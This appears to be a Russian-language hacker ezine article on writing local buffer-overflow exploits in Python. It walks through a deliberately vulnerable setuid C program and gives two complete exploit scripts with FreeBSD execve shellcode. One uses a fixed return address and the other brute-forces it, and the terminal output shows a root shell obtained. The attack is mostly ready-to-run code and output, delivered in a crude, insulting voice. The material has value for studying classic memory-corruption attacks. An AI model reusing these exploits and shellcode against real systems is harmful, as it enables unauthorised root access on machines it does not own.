[ Prev Page | Goto Content | Next Page ] =/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ WRiTiNG 0VERFL0WZ iN PYTH0N =-=-=-=-=-=-=-=-=-=-=-=-=-= Зачем было писать эту статью?? Целей несколько: во-первых, в сети нет информации о написании эксплоитов в python, и я просто решил восполнить этот пробел. Общедоступен всего один хороший пример - это samba 2.x call_trans2open() от noir sin, но он довольно сложен для понимания новичками. Это же касается продуктов Core Impact и CANVAS, да и потом для Unix там в основном представлены удаленные эксплоиты, я же хочу поговорить о локальных. Во-вторых, я хотел показать, что писать эксплоиты переполнения буфера не так сложно, как вы можете представить, и для успешной реализации атаки уязвимой программы не обязательно вешать на себя табличку ``секурити ехперт'' и с умным видом создавать группу таких же имбицилов, которые после нескольких неудачных попыток смогли-таки установить mandrake linux и дочитать до конца статью ``buffer overflow for kidz'', чем горды до беспамятства. Почему python?? Просто он мне нравится, а потому все реплики типа ``настАящиИ ИксплоЕты надА пЕсать в С'' или ``а почему не qbasic?''(C) duffy d4rk, предлагаю запихать себе в жопу. Ну а если правда есть желание пофлеймить на эту тему, пишите на [email protected] и [email protected] и спросите, почему они, ламеры тупоговоловые, написали SpikeProxy, MOSDEV и модули эксплоитов для CANVAS и IMPACT на python, а не на другом языке. Здесь я не буду объяснять что такое переполнения буфера, как они работают и как выглядят - по этой теме написано достаточно документов и мануалов. В англоязычном интернете есть по крайней мере две статьи, чтения которых достаточно для полного теоретического ознакомления. Для примера я взял самую простую программу, в которой имеется самая очевидная уязвимость: /* b0f.c */ #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { char buffah[500]; if (argc > 1){ strcpy(buffah, argv[1]); return 0; } } Итак, здесь мы описываем массив символов buffah длиной 500 байтов и копируем в него первый аргумент нашей программы. Компилируем и проверяем: lame@satanix$ gcc b0f.c lame@satanix$ ./a.out blahblahblah lame@satanix$ Все идет как положено - программа копирует в буфер первый аргумент и молча выходит. Теперь скормим программе, например, 524 символа: lame@satanix$ ./a.out `python -c "print 'f'*524"` Illegal instruction Jan 30 16:17:27 satanix kernel: pid 723 (a.out), uid 1002: exited on signal 4 Уже хорошо, а что если 525: lame@satanix$ ./a.out `python -c "print 'f'*525"` Segmentation fault (core dumped) Jan 30 16:17:34 satanix kernel: pid 725 (a.out), uid 1002: exited on signal 11 (core dumped) Опытным путем выяснили, что адрес возврата полностью перезаписывается при передаче в буфер 528 символов: lame@satanix$ gdb a.out a.out.core -q (no debugging symbols found)...Core was generated by `a.out'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.5...(no debugging symbols found)...done. Loaded symbols for /usr/lib/libc.so.5 Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. Loaded symbols for /usr/libexec/ld-elf.so.1 #0 0x66666666 in ?? () (gdb) Теперь смотрим регистры eip и ebp: (gdb) info reg eip ebp eip 0x66666666 0x66666666 ebp 0x66666666 0x66666666 Как видим, все это дело тоже перезаписалось. Отсюда же получаем значение %esp. В моем случае оно равно 0xbfbffc18. Нам не хватает только адреса возврата. В linux перебор лучше начинать с 0xbfffffff, в bsd-системах - с 0xbfbfffff. Теперь все готово. Пишем эксплоит. [ для наглядности, я сделал программу суидной, то есть в результате успешного эксплойтинга, мы получим рут шелл ]. #!/usr/bin/env python ## # sample exploit for # defaced5 ezine # python overflowz paper # ## # 02/01/2004 # # PR1VAT3!! # UNPUBL1SH3D SH1T!! L0L # # D0 N0T D1STR1BUT3 # U FUCKR # # T3ST3D 0N FreeBSD 5.0 # ## import os,sys,struct size = 528 # buf size ret_addr = 0xbfbff9bf # адрес возврата был подобран вручную. Т.к. буфер в # памяти занимает > 500 байт попасть в него не так # уж и сложно """ freebsd execve shellcode by defaced staff. published in defaced3 """ sh="" sh+="\x31\xc0\x50\x6a\x17\x50\xcd\x80\x31\xc0\x50\x68\x6e" sh+="\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x50\x53" sh+="\x6a\x3b\x50\xcd\x80\x31\xc0\x50\x6a\x01\x50\xcd\x80" buf="" i=0 while i<453: # заполняем nop'ами лишнее пространство buf+= "\x90" i+=1 buf+=sh i=0 while i<18: # 18 раз подряд вводим адрес возврата buf+= struct.pack("<l",ret_addr) i+=1 buf+="\x0a" l = open("killah","w") l.write(buf) l.close() os.system('./a.out "`cat killah`"') # ooooooooo00000000000000W!! Окей. Сохраняем этот код в файл xpl.py, делаем его исполняемым и вперед: lame@satanix% su Password: root@satanix# chown 0 a.out; chmod 0755 a.out; su lame lame@satanix% chmod +x xpl.py lame@satanix% ./xpl.py ./x.py:21 : FutureWarning: hex/oct constants > sys.maxint will return positive values in Python 2.4 and up ret_addr = 0xbfbff9bf # id uid=0(root) gid=1002(lame) egid=0(wheel) groups=0(wheel), 1002(lame), 0(wheel) А теперь добавим возможность подбора ret'a: #!/usr/bin/env python import os,sys,struct size = 528 # buf size ret = 0xbfbfffff # start ret sh= "\x31\xc0\x50\x6a\x17\x50\xcd\x80\x31\xc0\x50\x68\x6e" sh+="\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x50\x53" sh+="\x6a\x3b\x50\xcd\x80\x31\xc0\x50\x6a\x01\x50\xcd\x80" bufbase="" i=0 while i<453: bufbase+= "\x90" i+=1 bufbase+=sh while ret>0xbf700000: buf = bufbase i=0 while i<18: buf+= struct.pack("<l",ret) i+=1 buf+="\x0a" l = open("killer","w") l.write(buf) l.close() os.system("./b0f `cat killer`") ret-=400 # ooooooooo00000000000000W!! lame@satanix% chmod +x bruter.py lame@satanix% ./bruter.py Bus error (core dumped) Bus error (core dumped) # echo ok ok # killall -9 python Killed lame@satanix% Defaced manual extraction utility: если у вас нет желания дергать код из статьи, то все что нужно, можно найти в include/py_b0f/. [ Prev Page | Goto Content | Next Page ]